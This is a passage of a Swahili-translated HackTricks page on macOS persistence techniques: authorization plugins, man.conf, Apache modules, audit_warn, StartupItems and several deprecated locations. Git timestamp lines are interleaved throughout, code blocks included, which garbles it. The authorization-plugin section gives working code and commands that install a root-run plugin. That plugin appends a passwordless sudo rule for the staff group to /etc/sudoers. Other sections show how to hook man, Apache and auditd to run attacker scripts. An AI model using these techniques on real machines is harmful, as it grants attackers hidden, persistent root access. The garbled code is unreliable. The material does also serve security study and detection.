2024-02-13 00:53:00 +00:00
Na kwa hivyo jaribio lolote la kutumia ** `sudo` litafanya kazi**.
2023-11-02 16:52:21 +00:00
{% hint style="danger" %}
2024-05-05 22:47:30 +00:00
Tafadhali elewa kuwa saraka hii inalindwa na TCC hivyo ni uwezekano mkubwa kwamba mtumiaji atapata ombi la kupewa ruhusa.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-05-05 22:47:30 +00:00
### Viplaga vya Idhini
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )\
Maelezo: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 ](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 )
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
* Inatumika kukiuka sanduku la mchanga: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-03-17 16:40:00 +00:00
* Lakini unahitaji kuwa na ruhusa ya msingi na kufanya mipangilio ya ziada
2024-02-13 00:53:00 +00:00
* Kukiuka TCC: ???
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/Library/Security/SecurityAgentPlugins/`
2024-07-18 17:47:58 +00:00
* Inahitaji kuwa na ruhusa ya msingi
2024-05-05 22:47:30 +00:00
* Pia ni muhimu kusanidi hifadhidata ya idhini kutumia programu-jalizi
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Maelezo & Utekaji
2023-09-28 20:05:35 +00:00
2024-05-05 22:47:30 +00:00
Unaweza kuunda programu-jalizi ya idhini ambayo itatekelezwa wakati mtumiaji anapoingia ili kudumisha uthabiti. Kwa maelezo zaidi kuhusu jinsi ya kuunda moja ya programu-jalizi hizi angalia maelezo ya awali (na uwe mwangalifu, moja isiyoundwa vizuri inaweza kukufunga nje na utahitaji kusafisha Mac yako kutoka kwa hali ya kupona).
2023-11-03 11:03:53 +00:00
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
2024-02-11 02:13:58 +00:00
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
2023-11-03 11:03:53 +00:00
}
```
2024-07-18 17:47:58 +00:00
**Hamisha** mfungu wa programu hadi eneo litakalopakiwa:
2023-11-03 11:03:53 +00:00
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
2024-02-11 02:13:58 +00:00
Hatimaye ongeza **kanuni** ya kupakia Plugin hii:
2023-11-03 11:03:53 +00:00
```bash
cat > /tmp/rule.plist < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-11 02:13:58 +00:00
< key > class< / key >
< string > evaluate-mechanisms< / string >
< key > mechanisms< / key >
< array >
< string > CustomAuth:login,privileged< / string >
< / array >
< / dict >
2023-11-03 11:03:53 +00:00
< / plist >
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
2024-02-13 00:53:00 +00:00
**`evaluate-mechanisms`** itawaambia mfumo wa idhini kwamba itahitaji **kuita kifaa cha nje kwa idhini** . Zaidi ya hayo, ** `privileged` ** itahakikisha kuwa inatekelezwa na root.
2023-11-03 11:03:53 +00:00
2024-07-18 17:47:58 +00:00
Tumia hivi:
2023-11-03 11:03:53 +00:00
```bash
security authorize com.asdf.asdf
```
2024-02-13 00:53:00 +00:00
Na kisha **kikundi cha wafanyakazi kinapaswa kuwa na upatikanaji wa sudo** (soma `/etc/sudoers` kuthibitisha).
2023-11-03 11:03:53 +00:00
2023-09-28 20:05:35 +00:00
### Man.conf
2023-06-01 21:09:46 +00:00
2024-04-07 03:36:12 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0030/ ](https://theevilbit.github.io/beyond/beyond\_0030/ )
2023-06-01 21:09:46 +00:00
2024-03-29 21:14:28 +00:00
* Inatumika kwa kuzidi sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-07-17 18:37:10 +00:00
* Lakini unahitaji kuwa na ruhusa ya mizizi na mtumiaji lazima tumie man
2024-07-18 17:47:58 +00:00
* Kizuizi cha TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/private/etc/man.conf`**
2024-02-13 00:53:00 +00:00
* Inahitaji mizizi
2024-07-17 18:37:10 +00:00
* **`/private/etc/man.conf`**: Wakati wowote man inapotumiwa
2023-06-01 21:09:46 +00:00
2024-07-18 17:47:58 +00:00
#### Maelezo & Utekaji
2023-06-01 21:09:46 +00:00
2024-07-18 17:47:58 +00:00
Faili ya usanidi ** `/private/etc/man.conf` ** inaonyesha faili ya binary/script ya kutumia wakati wa kufungua nyaraka za man. Kwa hivyo njia ya kutekelezeka inaweza kubadilishwa ili wakati wowote mtumiaji anatumia man kusoma nyaraka baadhi ya mlango wa nyuma unatekelezwa.
2023-06-01 21:09:46 +00:00
2024-02-13 00:53:00 +00:00
Kwa mfano weka katika ** `/private/etc/man.conf` **:
2023-09-28 20:05:35 +00:00
```
MANPAGER /tmp/view
2023-06-01 21:09:46 +00:00
```
2024-05-05 22:47:30 +00:00
Na kisha tengeneza `/tmp/view` kama:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
#!/bin/zsh
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
touch /tmp/manconf
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/usr/bin/less -s
```
2023-09-28 15:09:34 +00:00
### Apache2
2024-02-11 02:13:58 +00:00
**Maelezo**: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
* Inatumika kukiuka sanduku la mchanga: [🟠 ](https://emojipedia.org/large-orange-circle )
* Lakini unahitaji kuwa na ruhusa ya msingi na apache inahitaji kuwa inaendeshwa
* Kukiuka TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2024-02-11 02:13:58 +00:00
* Httpd haina ruhusa
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
* **`/etc/apache2/httpd.conf`**
2024-02-13 00:53:00 +00:00
* Inahitaji ruhusa ya msingi
2024-02-11 02:13:58 +00:00
* Kichocheo: Wakati Apache2 inaanza
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
#### Maelezo & Kudukua
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
Unaweza kuonyesha katika `/etc/apache2/httpd.conf` ili kupakia moduli kwa kuongeza mstari kama huu:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
2024-02-23 16:48:14 +00:00
Hivi ndivyo moduli zako zilivyopakiwa na Apache. Kitu pekee ni kwamba unahitaji **kuisaini na cheti halali cha Apple** , au unahitaji **kuongeza cheti kipya cha kuaminika** kwenye mfumo na **kuisaini** nacho.
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
Kisha, ikihitajika, ili kuhakikisha kuwa server itaanza unaweza kutekeleza:
2023-09-28 15:09:34 +00:00
```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
2024-02-11 02:13:58 +00:00
Mfano wa nambari kwa Dylb:
2023-09-28 15:09:34 +00:00
```objectivec
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
2024-02-11 02:13:58 +00:00
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
2023-09-28 15:09:34 +00:00
}
```
2024-07-17 18:37:10 +00:00
### Kitengo cha ukaguzi wa BSM
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0031/ ](https://theevilbit.github.io/beyond/beyond\_0031/ )
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
* Inatumika kwa kuzidi sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-07-17 18:37:10 +00:00
* Lakini unahitaji kuwa na ruhusa ya msingi, auditd iwe inafanya kazi na kusababisha onyo
2024-07-18 17:47:58 +00:00
* Kizuizi cha TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
* **`/etc/security/audit_warn`**
2024-02-13 00:53:00 +00:00
* Inahitaji ruhusa ya msingi
2024-02-11 02:13:58 +00:00
* **Kichocheo**: Wakati auditd inagundua onyo
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
#### Maelezo na Utekaji
2023-09-28 15:09:34 +00:00
2024-04-07 03:36:12 +00:00
Kila wakati auditd inagundua onyo, hati ** `/etc/security/audit_warn` ** ina **kutekelezwa** . Kwa hivyo unaweza kuongeza mzigo wako kwenye hiyo.
2023-09-28 15:09:34 +00:00
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
2023-06-01 21:09:46 +00:00
```
2024-07-18 17:47:58 +00:00
Unaweza kulazimisha onyo na `sudo audit -n` .
2023-06-01 21:09:46 +00:00
2024-02-13 00:53:00 +00:00
### Vipengele vya Kuanza
2023-06-01 21:09:46 +00:00
2023-09-26 23:39:35 +00:00
{% hint style="danger" %}
2024-04-07 03:36:12 +00:00
**Hii imepitwa na wakati, kwa hivyo hakuna kitu kinapaswa kupatikana katika saraka hizo.**
2023-09-26 23:39:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-07-18 17:47:58 +00:00
**StartupItem** ni saraka ambayo inapaswa kuwekwa ndani ya `/Library/StartupItems/` au `/System/Library/StartupItems/` . Mara tu saraka hii inapoanzishwa, lazima ijumuishe faili mbili maalum:
2024-02-07 04:06:18 +00:00
2024-07-18 17:47:58 +00:00
1. **rc script** : Skripti ya shell inayotekelezwa wakati wa kuanza.
2024-04-07 03:36:12 +00:00
2. Faili ya **plist** , iitwayo `StartupParameters.plist` , ambayo ina mipangilio mbalimbali ya usanidi.
2024-02-07 04:06:18 +00:00
2024-07-18 17:47:58 +00:00
Hakikisha kwamba skripti ya rc na faili ya `StartupParameters.plist` zimewekwa kwa usahihi ndani ya saraka ya **StartupItem** ili mchakato wa kuanza uweze kuzitambua na kuzitumia.
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-11 02:13:58 +00:00
< key > Description< / key >
< string > This is a description of this service< / string >
< key > OrderPreference< / key >
< string > None< / string > <!-- Other req services to execute before this -->
< key > Provides< / key >
< array >
< string > superservicename< / string > <!-- Name of the services provided by this file -->
< / array >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-02-11 02:13:58 +00:00
{% endtab %}
2024-02-13 00:53:00 +00:00
2024-07-18 17:47:58 +00:00
{% tab title="jina-la-huduma-kubwa" %}
2023-06-01 21:09:46 +00:00
```bash
#!/bin/sh
. /etc/rc.common
StartService(){
2024-02-11 02:13:58 +00:00
touch /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
StopService(){
2024-02-11 02:13:58 +00:00
rm /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
RestartService(){
2024-02-11 02:13:58 +00:00
echo "Restarting"
2023-06-01 21:09:46 +00:00
}
RunService "$1"
```
2024-03-17 16:40:00 +00:00
{% endtab %}
{% endtabs %}
2023-09-28 20:05:35 +00:00
### ~~emond~~
{% hint style="danger" %}
2024-03-17 16:40:00 +00:00
Sijaweza kupata sehemu hii kwenye macOS yangu kwa habari zaidi angalia andiko
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-13 00:53:00 +00:00
Andiko: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 20:05:35 +00:00
2024-07-18 17:47:58 +00:00
Kuletwa na Apple, **emond** ni mfumo wa kuingiza taarifa ambao unaonekana kutokuwa umekamilika au labda umeachwa, lakini bado unapatikana. Ingawa sio hasa faida kwa msimamizi wa Mac, huduma hii isiyoeleweka inaweza kutumika kama njia ya kudumu kwa waendeshaji wa vitisho, labda bila kugunduliwa na wengi wa wasimamizi wa macOS.
2023-09-28 20:05:35 +00:00
2024-05-05 22:47:30 +00:00
Kwa wale wanaofahamu uwepo wake, kutambua matumizi mabaya yoyote ya **emond** ni rahisi. LaunchDaemon ya mfumo kwa huduma hii inatafuta hati za kutekelezwa kwenye saraka moja. Ili kuangalia hili, amri ifuatayo inaweza kutumika:
2023-09-28 20:05:35 +00:00
```bash
ls -l /private/var/db/emondClients
```
### ~~XQuartz~~
2024-05-05 22:47:30 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 20:05:35 +00:00
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
2024-02-11 02:13:58 +00:00
* Inahitaji mizizi
* **Kichocheo**: Pamoja na XQuartz
2023-09-28 20:05:35 +00:00
2024-05-05 22:47:30 +00:00
#### Maelezo & Kudukuliwa
2023-09-28 20:05:35 +00:00
2024-07-18 17:47:58 +00:00
XQuartz **haipo tena imewekwa kwenye macOS** , kwa hivyo ikiwa unataka maelezo zaidi angalia maelezo.
2023-09-28 20:05:35 +00:00
### ~~kext~~
{% hint style="danger" %}
2024-07-17 18:37:10 +00:00
Ni ngumu sana kufunga kext hata kama mizizi hivyo sitazingatia hii kutoroka kutoka kwa mchanga au hata kwa uthabiti (isipokuwa una shambulio)
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 20:05:35 +00:00
2024-07-17 18:37:10 +00:00
Ili kufunga KEXT kama kipengee cha kuanza, inahitaji kuwa **imefungwa kwenye mojawapo ya maeneo yafuatayo** :
2023-09-28 20:05:35 +00:00
* `/System/Library/Extensions`
2024-02-13 00:53:00 +00:00
* Faili za KEXT zilizojengwa kwenye mfumo wa uendeshaji wa OS X.
2023-09-28 20:05:35 +00:00
* `/Library/Extensions`
2024-07-17 18:37:10 +00:00
* Faili za KEXT zilizofungwa na programu ya tatu
2023-09-28 20:05:35 +00:00
2024-07-17 18:37:10 +00:00
Unaweza kuorodhesha faili za kext zilizopakiwa kwa sasa na:
2023-09-28 20:05:35 +00:00
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
2024-05-05 22:47:30 +00:00
Kwa maelezo zaidi kuhusu [**vifaa vya msingi vya kernel angalia sehemu hii** ](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers ).
2023-09-28 20:05:35 +00:00
### ~~amstoold~~
2024-02-11 02:13:58 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0029/ ](https://theevilbit.github.io/beyond/beyond\_0029/ )
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 20:05:35 +00:00
* **`/usr/local/bin/amstoold`**
2024-07-18 17:47:58 +00:00
* Inahitaji ruhusa ya Root
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Maelezo & Utekaji
2023-09-28 20:05:35 +00:00
2024-07-18 17:47:58 +00:00
Inaonekana kwamba `plist` kutoka `/System/Library/LaunchAgents/com.apple.amstoold.plist` ilikuwa ikitumia binary hii wakati inafunua huduma ya XPC... swala ni kwamba binary haikuwepo, hivyo ungeweza kuweka kitu pale na wakati huduma ya XPC inaitwa binary yako itaitwa.
2023-09-28 20:05:35 +00:00
2024-07-18 17:47:58 +00:00
Sikuweza tena kupata hii kwenye macOS yangu.
2023-09-28 20:05:35 +00:00
### ~~xsanctl~~
2024-02-11 02:13:58 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0015/ ](https://theevilbit.github.io/beyond/beyond\_0015/ )
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 20:05:35 +00:00
* **`/Library/Preferences/Xsan/.xsanrc`**
2024-07-18 17:47:58 +00:00
* Inahitaji ruhusa ya Root
2024-02-13 00:53:00 +00:00
* **Kichocheo**: Wakati huduma inapoendeshwa (kwa nadra)
2023-09-28 20:05:35 +00:00
2024-04-07 03:36:12 +00:00
#### Maelezo & utekaji
2023-09-28 20:05:35 +00:00
2024-07-18 17:47:58 +00:00
Inaonekana sio kawaida sana kuendesha script hii na hata sikuiweza kwenye macOS yangu, hivyo kama unataka maelezo zaidi angalia maelezo.
2023-09-28 20:05:35 +00:00
### ~~/etc/rc.common~~
2023-06-01 21:09:46 +00:00
{% hint style="danger" %}
2024-05-05 22:47:30 +00:00
**Hii haifanyi kazi katika toleo za kisasa za MacOS**
2023-06-01 21:09:46 +00:00
{% endhint %}
2024-07-18 17:47:58 +00:00
Pia niwezekano wa kuweka hapa **maagizo ambayo yataendeshwa wakati wa kuanza.** Mfano wa script ya kawaida ya rc.common:
2023-06-01 21:09:46 +00:00
```bash
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
2024-02-11 02:13:58 +00:00
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
2023-06-01 21:09:46 +00:00
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
2024-02-11 02:13:58 +00:00
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
2023-06-01 21:09:46 +00:00
}
#
# Generic action handler
#
RunService ()
{
2024-02-11 02:13:58 +00:00
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
2023-06-01 21:09:46 +00:00
}
```
2024-07-18 17:47:58 +00:00
## Mbinu na zana za Ushikiliaji
2023-06-01 21:09:46 +00:00
* [https://github.com/cedowens/Persistent-Swift ](https://github.com/cedowens/Persistent-Swift )
* [https://github.com/D00MFist/PersistentJXA ](https://github.com/D00MFist/PersistentJXA )
2024-07-18 17:47:58 +00:00
{% hint style="success" %}
Jifunze na zoea Udukuzi wa AWS:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Jifunze na zoea Udukuzi wa GCP: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-06-01 21:09:46 +00:00
2024-07-18 17:47:58 +00:00
< details >
2023-06-01 21:09:46 +00:00
2024-07-18 17:47:58 +00:00
< summary > Support HackTricks< / summary >
2023-12-30 20:49:49 +00:00
2024-07-18 17:47:58 +00:00
* Angalia [**mpango wa michango** ](https://github.com/sponsors/carlospolop )!
* **Jiunge na** 💬 [**Kikundi cha Discord** ](https://discord.gg/hRep4RUj7f ) au kikundi cha [**telegram** ](https://t.me/peass ) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) na [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2023-06-01 21:09:46 +00:00
< / details >
2024-07-18 17:47:58 +00:00
{% endhint %}